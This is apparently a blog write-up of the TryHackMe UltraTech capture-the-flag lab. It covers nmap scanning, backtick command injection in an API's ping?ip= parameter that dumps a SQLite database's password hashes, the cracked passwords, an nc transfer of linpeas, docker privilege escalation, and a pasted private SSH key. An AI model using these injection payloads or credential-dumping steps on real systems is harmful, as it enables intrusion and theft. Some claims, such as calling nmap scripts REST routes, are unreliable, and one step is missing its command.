TryHackMe UltraTech writeup - Medium

The basics of pentration testing, enumeration, privlilege escaltion, and webapp testing

Part 1 - Enumeration

The first thing im going to do is run an nmap scan on the target IP address (10.10.208.199).

Starting Nmap 7.60 ( https://nmap.org ) at 2024-08-27 18:11 BST Nmap scan report for ip-10-10-208-199.eu-west-1.compute.internal (10.10.208.199) Host is up (0.00089s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 8081/tcp open blackice-icecap MAC Address: 02:3C:7E:9D:8D:85 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 1.80 seconds

Which software is using the port 8081?

nmap -sV 10.10.208.199

PORT STATE SERVICE VERSION 8081/tcp open http Node.js Express framework MAC Address: 02:3C:7E:9D:8D:85 (Unknown)

From this we can see that the software running is Node.js.

Which other Non-standard port is used?

nmap 10.10.208.199 -p-

PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 8081/tcp open blackice-icecap 31331/tcp open unknown

From this we can see that 31331 is the other non standard port running.

Which software using this port?

nmap -sV 10.10.208.199 -p 31331

PORT STATE SERVICE VERSION 31331/tcp open http Apache httpd 2.4.29 ((Ubuntu)) MAC Address: 02:3C:7E:9D:8D:85 (Unknown)

From this we can see that Apache is the software using this port.

Which GNU/Linux distribution seems to be used?

The software using the port 8081 is a RESTapi, how many of its routes are used by the web application?

nmap -sV 10.10.208.199 -p 8081

PORT STATE SERVICE VERSION 8081/tcp open http Node.js Express framework |_http-cors: HEAD GET POST PUT DELETE PATCH |_http-title: Site doesn't have a title (text/html; charset=utf-8). MAC Address: 02:3C:7E:9D:8D:85 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.13 (97%), Linux 3.8 (96%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 3.10 (92%), Linux 3.19 (92%), Linux 3.2 - 4.8 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.56 ms ip-10-10-208-199.eu-west-1.compute.internal (10.10.208.199)

From this we can see there are 2 Rest api’s; _http-cors, and _http-title.

Part 2 - Explotation

There is a database lying around, what is its filename?

John McFamicom | r00t Francois LeMytho | P4c0 Alvaro Squalo | Sq4l

-Continuing on, we find a contact page that throws a 404 error. it also shows that apache version 2.4.29 which might come in handy if that version is vulnerable.

/ /index.html /what.html /partners.html

(function() { console.warn('Debugging ::'); function getAPIURL() { return `${window.location.hostname}:8081` } function checkAPIStatus() { const req = new XMLHttpRequest(); try { const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}` req.open('GET', url, true); req.onload = function (e) { if (req.readyState === 4) { if (req.status === 200) { console.log('The api seems to be running') } else { console.error(req.statusText); } } }; req.onerror = function (e) { console.error(xhr.statusText); }; req.send(null); } catch (e) { console.error(e) console.log('API Error'); } } checkAPIStatus() const interval = setInterval(checkAPIStatus, 10000); const form = document.querySelector('form') form.action = `http://${getAPIURL()}/auth`; })();

PING 10.10.90.74 (10.10.90.74) 56(84) bytes of data. 64 bytes from 10.10.90.74: icmp_seq=1 ttl=64 time=0.037 ms --- 10.10.90.74 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.037/0.037/0.037/0.000 ms

ping: /home/www/api: Temporary failure in name resolution

http://10.10.90.74:8081/ping?ip=`ls

ping: utech.db.sqlite: Name or service not known <

What is the first user’s password hash?

http://10.10.90.74:8081/ping?ip=`cat utech.db.sqlite

ping: ) \ufffd\ufffd\ufffd(Mr00tf357a0c52799563c7c7b76c1e7543a32)Madmin0d0ea5111e3c1def594c1684e3b9be84: Parameter string not correctly encoded

From this we can see that the username and password hash.

r00t : f357a0c52799563c7c7b76c1e7543a32 admin : 0d0ea5111e3c1def594c1684e3b9be84

what is the password associated with this hash?

r00t : n100906 admin : mrsheafy

Part 3 - Getting root

what are the first 9 characters of the root user’s private SSH key?

Host side nc -l 8001 < linpeas.sh Client side nc -nv 10.10.145.62 8001 > linpeas.sh

LinPEAS gives us a 99% PE vector on docker for this box. By going to the gtfo bins, we can see if a root shell is possible.

I ran this command

And like that I have root! In order to find the first 9 characters of the root users ssh key, we need to go to /etc/ssh, then cat the ssh_host_rsa_key. And like that we have the private key! It is posted below:

-----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEA4hZe4rMGbDJ5yNkbl9HszDFY1FxWNZSZma9/h+9NWQOpyVG9 spmcl7rBP8Lqi+AWfseYBdgyy0R+33SZHXm7rmjKULUHxHbDjE/iWpEIAg5bN/BR 9Y3K6RiNzGOeXh3EopU/xLBK5rr2L9bN2L6nbOsaMcrxoHabXaomo+ChQTUg1Z3g khfyuyEHW2rzN0O0oCnIRyVB7elzt4CApmZqvLUgHXdm9iJP62M6SIsjLXz94lrM lYI0f6vKEdPAtpRaTzfLksiB5Hh9actGhpfldRO49sr1TCG+Jt4xrS1h/PYnj015 ny5Ip9n3k+qgJu2nHZLWUSU42ifJRDBUxxIoyQIDAQABAoIBAG1f9y1jAHNtg983 sRKkexNZuCicNxSavChOb7r6eQfcLtJ3GfeCOvBoZ78J8+ARW7CfrJr/Oat+ioZd 6QkKcFJy3ZVnzscr0XRa3R2FVkNwYI7SU0QhAY380/SSKPZNHmitHXlw8/tlbV49 Y748ldCqeDSognZnisgoXaMgM8LQITj2mnA8j/Lg88HcELF+gW56QuoQHVPJGzJA +ZW0Zx+duLd4vxgQET2iGGTtClfopv6xmRkjrLOev5DpioM/1eMw75MFVtEGqYtH CAAxT/T0feE0f9hbxJz/52rM1sV0YgkcvDjZeJqMdVq6xULuLmScahUlRZcoMsJv Q+lQPOUCgYEA8M0u3YwP/PoeywDAOlIcesgJbOQ+/lXw7FzXDsq4die0aJLz+U6P e214mQe6QdZ2uCnrnqeU40aBR3bB6CHl4mvrbQqjqAwJ/bDjnO2dXqdPNBdNnzpq D9k9cl1UbJo1MrbMZnClNpGgq6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